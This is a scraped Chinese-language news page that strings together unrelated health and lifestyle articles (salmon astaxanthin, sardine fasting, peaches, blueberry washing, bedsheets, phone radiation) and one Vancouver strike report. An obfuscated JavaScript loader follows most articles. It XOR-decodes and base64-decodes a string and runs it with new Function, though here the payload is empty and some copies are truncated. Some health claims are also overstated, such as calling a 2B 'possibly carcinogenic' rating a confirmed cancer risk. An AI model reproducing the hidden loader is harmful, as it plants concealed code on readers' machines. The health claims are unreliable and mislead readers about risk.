健康

三文鱼一直被视为最营养的鱼类之一，原因在于它同时蕴含两种备受关注的星级成分——DHA与虾红素。DHA就听得多，虾红素又是甚么？原来属超级抗氧化剂，抗氧化力是维他命C的6000倍，怎么吃最见效？ 虾红素：超级抗氧化剂的惊人威力 食安专家韦恩曾在个人网站分享，虾红素（Astaxanthin）又称虾青素/藻红素，属于天然类胡萝卜素家族，呈现鲜艳的橘红色。它最早由诺贝尔医学奖得主Richard Kuhn博士在龙虾身上发现。天然的三文鱼肉、虾蟹呈现红色，正是虾红素的颜色。大部分动物无法自行生产虾红素，只能从食物中累积；其源头是微小的微藻类，其中以“雨生红球藻”的含量最为丰富。 虾红素最珍贵的特性，在于其卓越的抗氧化能力。它的自由基清除能力是： 维他命C的6,000倍 辅酶Q10的800倍 绿茶儿茶素的560倍 维他命E的500倍 因此被誉为“超级抗氧化剂”。韦恩解释，正是这种强大的抗氧化力，让三文鱼能够逆流而上、长途迁徙；海鸟亦靠它支持长时间跨洋飞行。 虾红素5大健康益处：护心血管/皮肤/骨骼 据外媒分享，虾红素具以下5大健康益处： 虾红素5大健康益处 1. 保护心血管：研究显示，虾红素有助调节免疫反应、抗发炎，并可能预防或辅助管理心血管疾病、失智症及帕金逊症。 2. 促进皮肤健康：2020年一项研究指出，服用虾红素补充品有助抚平皱纹、防护紫外线引起的皮肤损伤，并维持皮肤水分。 3. 支持骨骼与关节：2023年回顾研究发现，虾红素可能减少发炎与骨痛，对抗骨骼疾病及骨质流失，未来或可用于类风湿关节炎的辅助治疗。 4. 眼睛保健：虾红素对蓝光伤害有保护作用，与叶黄素搭配使用可产生加乘效果，有助于维护眼部健康。 5. 抗过敏与免疫调节：虾红素被证实能调节免疫反应，对过敏症状亦有益。 要获取虾红素的抗氧化益处，优先从天然食物入手最理想，例如：每周进食一至两次三文鱼。烤三文鱼便是轻盈晚餐的好选择。 虾红素食物含量一览表！如何选购三文鱼？ 韦恩提及，不同食物中虾红素含量差异极大： 雨生红球藻：高达 40,000 ppm 北极虾：约 1,200 ppm 磷虾：约 120 ppm 三文鱼：约 5 ppm 研究文献建议，每日有效剂量约为4毫克。要达到这个剂量，需要每天进食约1公斤的三文鱼，对一般人来说相当困难。因此，摄取虾红素补充品亦是可行选择。 三文鱼的虾红素主要来自牠所食用的磷虾和藻类。韦恩指，养殖三文鱼若没有在饲料中补充虾红素来源，肉色会较淡，保健成分也较低。选购时不妨留意鱼肉的色泽——鲜艳橘红色代表富含虾红素。 虾红素普遍被认为安全，没有明显副作用。不过，目前尚无足够研究证实其对怀孕、哺乳妇女的安全性。若考虑服用补充品，建议先咨询医生或营养师。 资料来源：食安专家韦恩、Healthline T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

很多人都知道，多做运动能使人比同龄人更年轻，到底每运动一周，身体的细胞分子年龄会倒退多少？有医生指，有研究证明，连续运动12星期可逆龄10个月，他又教训练处方，鼓励大家开始运动。 连续运动12星期可逆龄10个月 医生教训练处方 根据知名复健科医生史考特的Facebook专页“一分钟健身教室”，2025年发表的研究指出，科学家已经能从204种蛋白质的浓度模式，读出你的分子年龄。他们发现，这个年龄是可以往回调的。史考特指，血液里有数百种蛋白质，浓度会随年龄改变。有些会随年纪慢慢升高，有些慢慢下降。把204 种会随年龄变化的蛋白质组合起来，就能画出一个你身体的老化指纹。指纹偏老，你的分子层级状态比实际年龄老；指纹偏年轻，分子状态比同龄人年轻。这跟一般在诊所做的生理年龄检测不一样，这个是直接从蛋白质读出来的、可以重复验证的分子讯号。 史考特医生指，研究分两部分，第1部分是 UK Biobank 4万 5千多名成人的观察资料，活动量越低的人，蛋白质老化分数越高，第2型糖尿病风险也越高。这部分只能告诉我们相关性，不能证明因果。第2部分是挪威 MyoGlu 计划的研究，26名男性接受12周的有氧加阻力训练，每周训练4次，前后各测一次蛋白质老化分数。12周训练后，分子年龄平均往回退10 个月。练了3个月的汗水，换到的是分子层级接近1年的青春。换算一下，每练1周，赚回大约2.5周。 虽然论文没直接指出停练多久会老回去，但史考特医生根据这个换算值得推断出以下结论： 训练12周 = 退10个月（每周位移 +2.5 周） 自然老化1年 = 老12个月（每周位移 -1 周） 也难怪长时间运动者，年纪越大，跟同龄的人差距也拉得越开。不仅外貌看起来年轻，步伐更轻快，连生病的机会都少很多。史考特医生指出，研究使用的训练处方，大家可参考： 每周2次中强度有氧（30-45分钟的快走、骑车或游泳，达到会喘但还能讲短句的程度） 每周2次阻力训练（45-60分钟的全身重训，深蹲、硬举、推、拉的基本动作） 连续做...

提到“断食”，不少人第一时间想到的是完全不吃东西。然而有专家指出，一种名为“鲭鱼断食”（或沙甸鱼断食）的代谢策略，让大家在断食期间仍然可以进食，而且效果可能比你想象中更好。虽然听起来难以置信，但背后竟有科学根据？ 鲭鱼断食/沙甸鱼断食是甚么？3大营养优势 家医科医生李思贤在个人网志分享，鲭鱼断食/沙甸鱼断食是种有优势代谢策略，做法非常简单，大家只需遵守以下3大重点： 连续几天只吃罐头鲭鱼或沙甸鱼，感到饥饿时就吃，不限制份量。 同时可以饮用清水、无糖茶或黑咖啡。 必须戒掉碳水化合物、糖及所有加工食品。 李医生指出，鲭鱼如此有效是因为拥有独特的营养组合：高蛋白、高Omega-3脂肪酸、近乎零碳水化合物。 低碳水：使胰岛素水平下降，启动身体燃烧脂肪模式，产生酮体，让身体进入类似断食的代谢状态。 高蛋白：提供必需氨基酸，有效防止肌肉流失（传统完全断食较易流失肌肉）。 Omega-3：具有抗发炎作用，可降低体内慢性发炎指标。 真实案例：哈佛博士连续30日的沙甸鱼实验 毕业于哈佛医学院的代谢研究博士Nick Norwitz在2025年进行了一项自我实验：连续30日只吃沙丁鱼，共吃了约1000只。结果令人鼓舞： 体重减轻2.7公斤 体脂率下降至7% 肌肉几乎没有流失 血液检验显示Omega-3指数极高 整天充满能量，如常工作和训练 原来Norwitz博士的身体成功启动“代谢转换激素”，进一步增强脂肪燃烧能力，这激素在传统断食中也会出现。而此案例亦说明了“鲭鱼断食/沙甸鱼断食”在改善身体代谢方面的潜力，但鲭鱼断食又有没有限制呢？ 鲭鱼断食存局限 难启动抗老防癌的“细胞自噬” 传统断食能够深度启动“细胞自噬”——身体自动清理老化、损坏细胞的机制，有助抗老化、预防癌症。鲭鱼断食因为摄取了蛋白质，会一定程度抑制细胞自噬的深度。 李医生解释，若你的目标是深度细胞清理和最大化抗老化效果，传统断食更为理想；若你希望减少肌肉流失、改善代谢、降低发炎，同时又无法忍受完全空腹，鲭鱼断食是更友善、更易执行。 吃鱼有高度饱足感 由于高蛋白、高脂肪加上酮体的产生，能有效抑制饥饿素。大部分人执行鲭鱼断食的第2天开始，饥饿感会明显下降，难以过量食用。李医生推荐，在选购罐头时，可留意以下小贴士： 选择油渍或水渍、无添加糖的鲭鱼或沙丁鱼罐头 注意补充盐分和镁等电解质，以维持身体平衡 鲭鱼断食并非传统断食的替代品，而是为不同需求的人提供一个额外选项，让你在减少肌肉流失、促进代谢、降低发炎的前提下，较轻松地执行断食计划。 资讯来源：家医科医生李思贤 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new...

不少人在选择个人护理产品时，往往习惯一瓶洗头水用到见底才更换。这个看似节约、无害的习惯，其实可能让清洁效果大打折扣，甚至引发各种严重的头皮问题。皮肤科医生柯博桓指出，头皮健康与洗头水的更换频率息息相关，并列出4大必须定期更换洗头水的关键原因，颠覆大众过往对头皮保养认知。 长期不换洗头水的4大危机 一情况反令头皮累积 原因1：头皮菌群失衡 头皮表面栖息著各种微生物，健康的头皮环境极之仰赖这些菌群的生态平衡。当长期使用同一款洗发产品时，洗头水中的抗菌成分会令特定菌种产生耐受性，导致清洁与抑菌效果逐渐减弱。一旦坏菌趁机滋生，头皮屑、痕痒感及毛囊炎等问题便会接踵而来。 原因2：清洁效能钝化 同样的界面活性剂使用久了，头皮会逐渐适应其清洁模式，皮脂腺亦会随之调整油脂分泌量来“对抗”。结果就是明明天天洗头，头皮却越洗越油腻，毛囊口亦变得容易堵塞，导致油脂粒与暗疮愈冒愈多。 原因3：化学成分累积 市面上许多洗头水都含有矽灵、防腐剂或香精等成分，短期使用或许不会有明显异样，但若长期累积在头皮与毛囊周围，便会形成持续的慢性刺激，头皮容易敏感的人士对此需要格外留神。 原因4：未能迎合头皮转变 香港四季天气转变明显，夏天湿热出油量大增，冬天干燥则容易脱屑；再加上生理期前后的荷尔蒙波动，或工作压力大时，头皮都会变得更加敏感。头皮的状态其实随时在变，同一款洗头水根本无法应付所有情况。 如何正确评估与挑选洗头水 对策1：每隔数月定期评估 想正确更换洗头水，建议每1至3个月评估一次自己的头皮状况，千万别等到头皮出现发炎或脱发等严重问题才临渴掘井。 对策2：依据季节与症状换季 市民应依照季节或当下的头皮状况适时切换产品。例如发现最近出油情况严重，应暂时更换为控油配方；若感觉头皮干痒，则应改用纾缓保湿款式。准备两款不同功效的洗头水轮流使用。 资料来源：皮肤科医生柯博桓 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

夏日炎炎，又到桃当造的季节！有营养师拆解4款桃的营养与功效，其中水蜜桃竟是抗发炎神物，而想降血压则必选这一款。不过食桃绝非多多益善，若吃错份量随时令血糖狂飙，到底怎样可以吃得更健康 4款桃营养功效大比拼 吃水蜜桃可抗发炎？ 营养师杨斯涵在其Facebook专页发文指，夏季蝉鸣，香甜多汁的桃子纷纷上市。不同品种的桃不但风味各异，营养价值亦大有不同。她为大家详细拆解4款桃的营养功效，让大家吃得健康又开心： 4款桃营养功效大比拼 1.水蜜桃 表面覆蓋柔软细毛，果肉呈白色，水分极高，口感软嫩多汁。富含维他命C及多酚类物质，如绿原酸，具有强大的抗氧化能力，能帮助身体对抗自由基，有效减少发炎反应。 2.油桃/甜桃 表皮光滑无绒毛，口感较为脆实，甜度高。其β-胡萝卜素及膳食纤维含量通常比水蜜桃略高，能促进肠道蠕动，有助维持肠道健康。 3.黄桃 果肉呈现金黄色，口感微酸偏甜。黄桃金黄色的果肉正代表其富含维他命A及β-胡萝卜素，能有效保护视力及维持黏膜健康。 4.蟠桃  外型扁平微凹，甜度极高，香气浓郁。蟠桃钾离子含量特别丰富，有助维持体内钠钾平衡，帮助调节血压。 营养师教最佳食法 4类族群要留意摄取桃的份量 杨斯涵指出，虽然桃类营养丰富，但摄取过量仍会对身体造成负担。掌握准确的份量，是维持血糖平稳及执行减糖计划的核心： 1份水果的基准：约含15克碳水化合物，热量约60大卡。 桃子的1份份量：相等于1颗中型桃（约为成年人的拳头大小，去皮去核后的纯果肉约130至150克）。若切块后，约装满一般家用饭碗的八分满。 最佳进食建议：建议将每天的水果摄取量控制在2份以内，并谨记分次吃，例如将两份水果分开在两餐之间作小食，以避免一次过摄取过多果糖而引致血糖大幅波动。 在享受夏日鲜桃的同时，杨斯涵提醒以下4类族群需要特别留意摄取细节： 糖尿病患者：桃子的GI值约在30至45之间，属于低至中升糖水果，对血糖影响相对温和。关键在于严守1天2份、分次吃的原则。强烈建议选择原型食物直接咀嚼，借由天然膳食纤维延缓糖分吸收；并绝对要避开罐头桃、果冻或果汁等加工制品。 慢性肾病患者：桃子属于中钾水果，每100克约含150至200毫克钾。对于需要限钾的肾友，建议一天以1颗为限，并将此份量确实计算入每日的钾离子额度中。若近期血钾指数偏高，建议暂时改吃苹果、提子等低钾水果。 过敏体质者：水蜜桃表面的绒毛容易引发皮肤痕痒、红疹或呼吸道过敏（口腔过敏症候群）。清洗时，可利用软毛刷或用厨房纸巾沾盐巴轻轻搓洗表面；最保险的做法是直接削皮后再食用。 肠胃敏感或肠躁症（IBS）患者：桃子含有较多的山梨糖醇和果聚糖，这些发酵性碳水化合物在肠道中容易产气。若肠胃较为敏感，一次过吃太多可能会导致胀气、腹痛或腹泻，建议少量摄取即可。 资料来源：营养师杨斯涵 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

香港人近年移民潮涌现，大家又有没有想过，原来住边个城市国家都可能直接影响身体老化的速度？一项由美国史丹佛大学、英国曼彻斯特大学参与的国际研究，发现居住地与“生物年龄”之间存在惊人的关联。研究结果发表在顶尖期刊《细胞》，绝对值得各位香港市民留意——尤其是正在考虑移民或已经移居外地的朋友。 “生物年龄”是甚么？代表细胞老得快定慢 生物年龄不是你身份证上的数字，而是透过分子指标（例如细胞的磨损程度）量度出来的“身体真实年龄”。有些人实际50岁，但细胞看起来像40岁，就是“年轻”；相反，有人40岁但细胞像50岁，就是“老得快”。而这次研究发现，住在那里，竟然可以让你的生物年龄加速或减慢。 研究震撼发现：留在亚洲更年轻 研究团队分析了来自欧洲、东亚和南亚的322名健康人士，采用“多体学”技术，测量他们的基因、蛋白质、肠道细菌、代谢物、金属等。最巧妙的是，他们找了相同种族背景、但住在不同大陆的人（例如原本东亚人，一批留在亚洲，一批搬去欧洲或北美），分清“遗传”与“环境”各自的影响。团队发现： 震撼发现：留在亚洲更年轻 1. 种族背景永远跟着你 无论移民去哪里，你的遗传血统都会在免疫系统、新陈代谢和肠道细菌留下深刻印记： 南亚人（例如印度、巴基斯坦裔）在多个生物层面都显示出较高的病原体暴露痕迹。 欧洲人的肠道微生物多样性较丰富，但同时心脏病风险相关的化学物质水平也较高。 2. 住的地方会改变身体的“关键网络” 地理环境可以重组你身体里面涉及胆固醇、发炎、能量处理的分子网络。搬去另一个大陆，足以改变主要代谢途径，还会影响肠道细菌的平衡。简单来说，你吃的东西、吸的空气、接触的生活模式，会直接“重新设定”你身体的运作方式。 3. 留在亚洲可能会让生物年龄更年轻 研究人员表示，这显示环境与遗传血统会以令人惊讶的方式相互作用，加速或减缓老化。 东亚人（包括中、日、韩裔）：如果移居到亚洲以外（例如去了欧美），他们的生物年龄比留在亚洲的同族裔更老！ 欧洲人：反而出现相反模式——搬离欧洲、住在欧洲以外的欧洲人，生物年龄显得更年轻。 史丹佛大学Michael Snyder教授补充：“一个有趣的发现是年龄与地理的关联：住在亚洲以外的东亚人，生物年龄高过留在亚洲的同族裔；而欧洲人相反，住在欧洲以外的反而更年轻。”当然，研究只揭示关联，未完全解释原因，但足以让我们反思：居住地的饮食、压力、社交、气候、污染等因素，真的会影响身体。 肠道细菌与细胞老化的神秘连结 研究还发现，端粒酶基因（与细胞老化有关）与某些肠道微生物之间，存在前所未见的关联，中间是透过一种叫“鞘磷脂”的脂质分子连接。这个意外的三方连锁，暗示肠道细菌可能透过分子链反应，影响细胞老化的速度。 曼彻斯特大学Richard Unwin教授表示：“我们对一件事很震惊——即使搬到几千英里之外，种族背景仍然持续影响免疫力、新陈代谢和肠道细菌。但同时，居住地会对关键分子路径产生实质影响，甚至改变细胞老化的外观，而且影响方向取决于你是谁。” 移民前要考虑清楚？ 当然，这项研究不是叫大家不要移民，而是提醒我们：健康老化不只关乎基因，还与你住的地方、生活习惯、环境压力息息相关。如果你正计划移居外地，不妨留意当地的饮食文化、户外活动机会、空气品质、社会支援系统——因为这些全部会影响身体的“真实岁数”。 资料来源：曼彻斯特大学 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

【星岛综合报道】大温地区罢工行动进一步升级，工会已将纠察线扩大至集水区及食水处理设施，但强调不会危及公众健康及安全。 大温地区局雇员工会（Greater Vancouver Regional District Employees' Union）发声明表示，随着纠察线范围扩大，部分地区的食水可能出现混浊情况，呈棕色或混浊外观。 工会会长梅代罗斯（Jesse Medeiros）表示，工会成员将继续遵守维持基本服务岗位的相关规定，确保在这次劳资纠纷不会影响到公众健康。 但他警告称，由超过700名户外工人发起的最新工业行动，可能导致部分居民发觉家中的自来水变得混浊。 受新一轮纠察线影响的设施包括卡比兰奴（Capilano）、西摩（Seymour）及高贵林集水区，以及西摩—卡比兰奴滤水厂（Seymour-Capilano Filtration Plant）和高贵林食水处理厂。 是次劳资纠纷已持续了数星期，工会先后在大温都会局总部、营运中心和污水处理设施外设立轮班纠察线。 工会的上一份集体合约于2024年12月届满，梅代罗斯表示，目前双方未有安排进一步谈判。 大温都会局（Metro Vancouver）发声明重申，保证各项基本服务不会中断或受到影响，包括安全及清洁的食水供应、污水处理、固体废物管理、空气质素监测、扑救山火和房屋服务等。 声明又指，局方已多次要求委任调解员协助推动谈判进展，但工会至今仍未同意有关安排。 声明表示：“我们准备好随时重返谈判桌，以寻求解决方案。” 图：Pexels V20

近日流传一种清洗蓝莓的方法：使用贝壳粉浸泡，声称能去除农药与污垢，引起网民热议堪称“生石灰洗蓝莓”。究竟这种做法是否安全？会否破坏蓝莓的营养价值？顾问注册营养师叶俊言（Vin Ip）接受《星岛头条》访问，逐一拆解当中的迷思，并提供正确的清洗建议。 贝壳粉属碱性 或增肾石风险 近日社交平台上，网友提及有KOL或自媒体推荐使用“贝壳粉”洗蓝莓，引起热论，不少人指出，贝壳粉本质上属强碱性，甚至有人形容为“生石灰”，到底“贝壳粉”洗蓝莓可行吗？又有没有健康风险？ 叶俊言解释，贝壳粉最终会转化为氧化钙，常用于水泥等建材；在食品工业中虽可作为酸碱调节剂，但并非设计供直接食用。“若浸泡后有彻底冲洗干净，问题不大；但如果只浸泡后直接食用，摄取过量可能增加肾石等风险。”他提醒：“大家听到钙片都可能担心肾结石，何况这些并非设计来食用的钙质。” 强碱破坏花青素与维他命C 蓝莓富含水溶性维他命C及抗氧化物花青素，这些有机物质在极端酸碱度下容易被破坏。叶俊言解释：“花青素和维他命C都倾向在弱酸性环境中保存良好，遇到强碱性（如pH12）就会被破坏。”因此，使用贝壳粉浸泡蓝莓，反而会令其珍贵的营养素大量流失。 蓝莓表面“果粉”是天然保护层 毋须刻意洗走 蓝莓表面那层灰白色的粉末，并非污垢或发霉，而是水果天然的保护屏障，用来抵御真菌及细菌。叶俊言表示：“不需要刻意把它洗到‘立立令’。如果要硬洗走表面果粉，反而会令里面的一些水溶性维他命C有机会流失。”建议尽量保留这层天然保护膜。 梳打粉、生粉、漂白水洗蓝莓有无效？ 网民亦提出用梳打粉、生粉、盐浸等，甚至疫情时有人提及用“1：99稀释漂白水”清洗蓝莓。叶俊言分析： 梳打粉、生粉、盐：不太有效，因为浸泡时污垢物质有机会溶出，但浸泡的盆大小有限，而且通常不会换很多次水。而水中污垢达到饱和后便无法再溶出脏物；如果再添加粉末或盐反而影响水的纯净度，降低污垢溶出的机会。 1：99稀释漂白水：绝对不建议，因为漂白水并非设计供人食用的化学品，存在安全风险。 忌“Hea洗”蓝莓 流动清水冲洗3至5分钟 叶俊言强调，最有效且安全的方法不是浸泡，而是用流动的自来水冲洗。即使农药是脂溶性的，水流的冲击力也能带走表面的化学物质。“建议冲洗时间约3至5分钟，不是随便冲一下就好，之后可用纸巾轻轻擦拭表面。”对于蓝莓这类细小水果，足够的冲洗时间和水流撞击力，反而最实际。 社交平台不少人推销天然洗洁粉，声称能去除农药。叶俊言提醒，根据浸泡原理，只要水中存在任何其他物质，往往会影响污垢溶出或带出的能力。因此，使用这类产品未必有好处。“回归基本：用清水彻底冲洗，才是最有效且最安全的方法。” 撰文：Irene T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

每晚紧贴皮肤的床单，细菌量竟多达500万只！有专家指出，长期与菌同眠，更恐诱发湿疹、毛囊炎甚至哮喘发作。到底有何方法清除床单上的尘螨，避免过敏？  床单一星期不洗细菌多达500万只！严重恐诱发湿疹/毛囊炎？ 根据台媒《Women's Health》报道，英国一项关于更换床单频率的调查发现，男女的卫生习惯大相迳庭。高达62%的女性每两星期就会清洗一次床上用品；相反，近半数单身男性竟然长达四个月不洗床单，当中更有12%的人坦言想起来才会洗床单。克利夫兰诊所皮肤科医生Alok Vij指出，床单至少应每两星期清洗一次，具体频率取决于个人生活习惯。过去有研究指出，床单若一星期不洗，细菌量可疯狂滋生至500万只，甚至比厕所门把上的细菌多出两万多倍。床单变得如此肮脏的元凶，主要来自以下5大因素： 护肤品：睡前涂抹的乳液或爽肤水等，容易沾染到床单及枕头套上。 汗水：闷热的环境会令人在睡眠中分泌大量汗水。 人体皮屑：即使在睡眠中，人体也会自然脱落头皮、死皮，甚至沾上眼屎及泪水。 尘螨：尘螨以人畜皮屑和毛发为主食，最爱在温度22至26℃、湿度70至80%的环境中疯狂繁殖。 灰尘：室内空间难免有灰尘，若未持续打扫便会日积月累在床铺上。 久未清洗的床单积聚大量细菌、尘螨与污垢，寝具如被套、枕套等等都会有这些问题。不仅影响皮肤，更会带来以下健康问题： 哮喘：床单上的尘螨会造成有些人的哮喘发作。 皮肤病：容易造成皮疹、湿疹、毛囊炎产生，皮肤可能会红、肿、痒。 过敏：造成过敏的因素有很多，而尘螨也是许多人会产生过敏反应之一，可能会是皮肤过敏，或鼻敏感、眼睛过敏。 若属于以下5类高危族群，建议每两星期或更频密地清洗床单： 夏天、炎热的季节 室内环境容易热、易流汗者 生病刚痊愈的人 习惯裸睡的人 有养宠物并会与宠物同床共寝的人 此外，如果不想太频密地洗床单，日常应养成良好习惯，包括睡前先洗澡、卸妆洁面后才上床、运动后必须冲凉、严禁宠物上床、不在床上进食，以及维持房间温度凉爽。 即学5步清洗床单 除尘螨防过敏  随着天气转变，当从衣柜拿出换季的棉被及寝具时，切勿直接铺上床。因为阴暗潮湿的衣柜极易滋生尘螨，必须彻底清洗才能使用。专家建议以下5大清洗步骤： 5步清洗床单： 用60℃热水清洗床上用品。 使用干衣机彻底烘干寝具。 趁天气晴朗时，在阳光下晾晒约3小时彻底除螨。 洗净的棉被可套上防螨被套，避免尘螨再次出现。 容易过敏的人士，建议每两星期就重复清洗一次寝具。 专家亦提醒，床单经过每天翻身摩擦及多次清洗，会受到损耗。无论是出现褪色、起毛粒或纤维硬化，都会令床单寿命缩短。建议每3至4年便应更换一套全新床单，这不仅能提升睡眠质素，对健康更是百利而无一害。 资料来源：《Women's Health》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

随着手机的使用率及时间持续增长，不少人习惯睡前将手机放在床头或枕边充电入睡，但世界卫生组织（WHO）辖下的国际癌症研究机构（IARC）已证实，长期这样做会增加癌症风险。 加州公共卫生部 (CDPH) 表示，尽管科学界尚未就手机使用的风险达成共识，但研究表明，长期高强度使用手机可能会对人体健康产生影响。公共卫生部主任兼州公共卫生官员Karen Smith博士表示，简单的日常习惯，例如不要将手机放在口袋里，晚上睡觉时将手机放在远离床的地方，就可以帮助减少辐射暴露。大脑在青少年发育时期更容易受到手机使用的影响，家长应该考虑减少孩子使用手机的时间，并鼓励他们在晚上睡觉时关掉手机。加州公共卫生部（CDPH）的新指南包含了一些成人和儿童都可以采取的实用措施，以减少接触手机的射频能量。这些措施包括：  6招减少接触电磁波 让手机远离身体 讯号弱时减少使用手机 减少使用手机播放音频或视频，或下载/上传大型文件 晚上睡觉时将手机放在远离床的地方 通话结束后取下耳机 避免使用声称可以阻挡射频能量的产品这些产品实际上可能会增加暴露风险。 手机被归类为2B级的致癌物 根据健康节目《健康零距离》的访问，台湾中医师吴宏干、精神科医生杜俊贤，以及临床毒物科护理师谭敦慈指，手机早在2011年被世界卫生组织归类为“2B级的致癌物”，其定义为或许对人体致癌。精神科医生杜俊贤指，这跟距离与时间有关系，如果放到很远的地方就影响不大。据世卫指出，连续10年每天将手机放到耳朵旁边30分钟，已经被国际癌症组织认定会增加癌症风险。所以，杜俊贤医生建议，听电话时最好使用扩音或免提，减少直接将手机放近耳朵或头部，中医师吴宏干建议3招阻隔手机电磁波： 佩戴防蓝光眼镜 睡觉时把手机放在铝箔纸里面 使用有线上网，手机开启飞行模式，用转插器把固网线路连到手机 资料来源：加州公共卫生部 (CDPH) 、《健康零距离》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

